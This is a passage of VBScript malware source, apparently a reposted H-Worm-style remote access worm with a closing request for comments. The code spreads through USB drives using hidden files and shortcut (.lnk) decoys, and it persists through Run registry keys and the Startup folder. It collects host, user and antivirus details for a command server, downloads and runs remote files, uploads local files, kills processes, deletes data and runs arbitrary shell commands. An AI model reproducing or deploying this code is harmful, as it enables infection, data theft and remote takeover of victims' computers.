                    lnkobj.windowstyle = 7
                    lnkobj.targetpath = "cmd.exe"
                    lnkobj.workingdirectory = ""
                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                    if  instr (fileicon,",") = 0 then
                        lnkobj.iconlocation = file.path
                    else 
                        lnkobj.iconlocation = fileicon
                    end if
                    lnkobj.save()
                end if
            end if
        end if
    next
    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
        if not lnkfolder then exit for
        folder.attributes = 2+4
        foldername = folder.name
        set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
        lnkobj.windowstyle = 7
        lnkobj.targetpath = "cmd.exe"
        lnkobj.workingdirectory = ""
        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
        if  instr (foldericon,",") = 0 then
            lnkobj.iconlocation = folder.path
        else 
            lnkobj.iconlocation = foldericon
        end if
        lnkobj.save()
    next
end If
end If
end if
next
err.clear
end sub
 
sub uninstall
on error resume next
dim filename
dim foldername
 
shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
filesystemobj.deletefile startup & installname ,true
filesystemobj.deletefile wscript.scriptfullname ,true
 
for  each drive in filesystemobj.drives
if  drive.isready = true then
if  drive.freespace  > 0 then
if  drive.drivetype  = 1 then
    for  each file in filesystemobj.getfolder ( drive.path & "\").files
         on error resume next
         if  instr (file.name,".") then
             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                 file.attributes = 0
                 if  ucase (file.name) <> ucase (installname) then
                     filename = split(file.name,".")
                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                 else
                     filesystemobj.deletefile (drive.path & "\" & file.name)
                 end If
             else
                 filesystemobj.deletefile (file.path) 
             end if
         end if
     next
     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
         folder.attributes = 0
     next
end if
end if
end if
next
wscript.quit
end sub
 
function post (cmd ,param)
 
post = param
httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
httpobj.setrequestheader "user-agent:",information
httpobj.send param
post = httpobj.responsetext
end function
 
function information
on error resume next
if  inf = "" then
    inf = hwid & spliter 
    inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
    inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
 
    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set os = root.execquery ("select * from win32_operatingsystem")
    for each osinfo in os
       inf = inf & osinfo.caption & spliter  
       exit for
    next
    inf = inf & "plus" & spliter
    inf = inf & security & spliter
    inf = inf & usbspreading
    information = inf  
else
    information = inf
end if
end function
 
 
sub upstart ()
on error resume Next
 
shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
 
end sub
 
 
function hwid
on error resume next
 
set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set disks = root.execquery ("select * from win32_logicaldisk")
for each disk in disks
    if  disk.volumeserialnumber <> "" then
        hwid = disk.volumeserialnumber
        exit for
    end if
next
end function
 
 
function security 
on error resume next
 
security = ""
 
set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
for each objitem in colitems
    versionstr = split (objitem.version,".")
next
versionstr = split (colitems.version,".")
osversion = versionstr (0) & "."
for  x = 1 to ubound (versionstr)
	 osversion = osversion &  versionstr (i)
next
osversion = eval (osversion)
if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
 
set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
 
for each objantivirus in colantivirus
    security  = security  & objantivirus.displayname & " ."
next
if security  = "" then security  = "nan-av"
end function
 
 
function instance
on error resume next
 
usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
if usbspreading = "" then
   if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
      usbspreading = "true - " & date
      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
   else
      usbspreading = "false - " & date
      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
 
   end if
end If
 
 
 
upstart
set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
set installfullnameshort =  filesystemobj.getfile (installdir & installname)
if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
    wscript.quit 
end If
err.clear
set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
if  err.number > 0 then wscript.quit
end function
 
 
sub sitedownloader (fileurl,filename)
 
strlink = fileurl
strsaveto = installdir & filename
set objhttpdownload = createobject("msxml2.xmlhttp" )
objhttpdownload.open "get", strlink, false
objhttpdownload.send
 
set objfsodownload = createobject ("scripting.filesystemobject")
if  objfsodownload.fileexists (strsaveto) then
    objfsodownload.deletefile (strsaveto)
end if
 
if objhttpdownload.status = 200 then
   dim  objstreamdownload
   set  objstreamdownload = createobject("adodb.stream")
   with objstreamdownload
		.type = 1 
		.open
		.write objhttpdownload.responsebody
		.savetofile strsaveto
		.close
   end with
   set objstreamdownload = nothing
end if
if objfsodownload.fileexists(strsaveto) then
   shellobj.run objfsodownload.getfile (strsaveto).shortpath
end if 
end sub
 
sub download (fileurl,filedir)
 
if filedir = "" then 
   filedir = installdir
end if
 
strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
set objhttpdownload = createobject("msxml2.xmlhttp")
objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
objhttpdownload.send ""
 
set objfsodownload = createobject ("scripting.filesystemobject")
if  objfsodownload.fileexists (strsaveto) then
    objfsodownload.deletefile (strsaveto)
end if
if  objhttpdownload.status = 200 then
    dim  objstreamdownload
	set  objstreamdownload = createobject("adodb.stream")
    with objstreamdownload 
		 .type = 1 
		 .open
		 .write objhttpdownload.responsebody
		 .savetofile strsaveto
		 .close
	end with
    set objstreamdownload  = nothing
end if
if objfsodownload.fileexists(strsaveto) then
   shellobj.run objfsodownload.getfile (strsaveto).shortpath
end if 
end sub
 
 
function upload (fileurl)
 
dim  httpobj,objstreamuploade,buffer
set  objstreamuploade = createobject("adodb.stream")
with objstreamuploade 
     .type = 1 
     .open
	 .loadfromfile fileurl
	 buffer = .read
	 .close
end with
set objstreamdownload = nothing
set httpobj = createobject("msxml2.xmlhttp")
httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
httpobj.send buffer
end function
 
 
function enumdriver ()
 
for  each drive in filesystemobj.drives
if   drive.isready = true then
     enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
end if
next
end Function
 
function enumfaf (enumdir)
 
enumfaf = enumdir & spliter
for  each folder in filesystemobj.getfolder (enumdir).subfolders
     enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
next
 
for  each file in filesystemobj.getfolder (enumdir).files
     enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
 
next
end function
 
 
function enumprocess ()
 
on error resume next
 
set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
set colitems = objwmiservice.execquery("select * from win32_process",,48)
 
dim objitem
for each objitem in colitems
	enumprocess = enumprocess & objitem.name & "|"
	enumprocess = enumprocess & objitem.processid & "|"
    enumprocess = enumprocess & objitem.executablepath & spliter
next
end function
 
sub exitprocess (pid)
on error resume next
 
shellobj.run "taskkill /F /T /PID " & pid,7,true
end sub
 
sub deletefaf (url)
on error resume next
 
filesystemobj.deletefile url
filesystemobj.deletefolder url
 
end sub
 
function cmdshell (cmd)
 
dim httpobj,oexec,readallfromany
 
set oexec = shellobj.exec ("%comspec% /c " & cmd)
if not oexec.stdout.atendofstream then
   readallfromany = oexec.stdout.readall
elseif not oexec.stderr.atendofstream then
   readallfromany = oexec.stderr.readall
else 
   readallfromany = ""
end if
 
cmdshell = readallfromany
end function

                                                                             Comenten.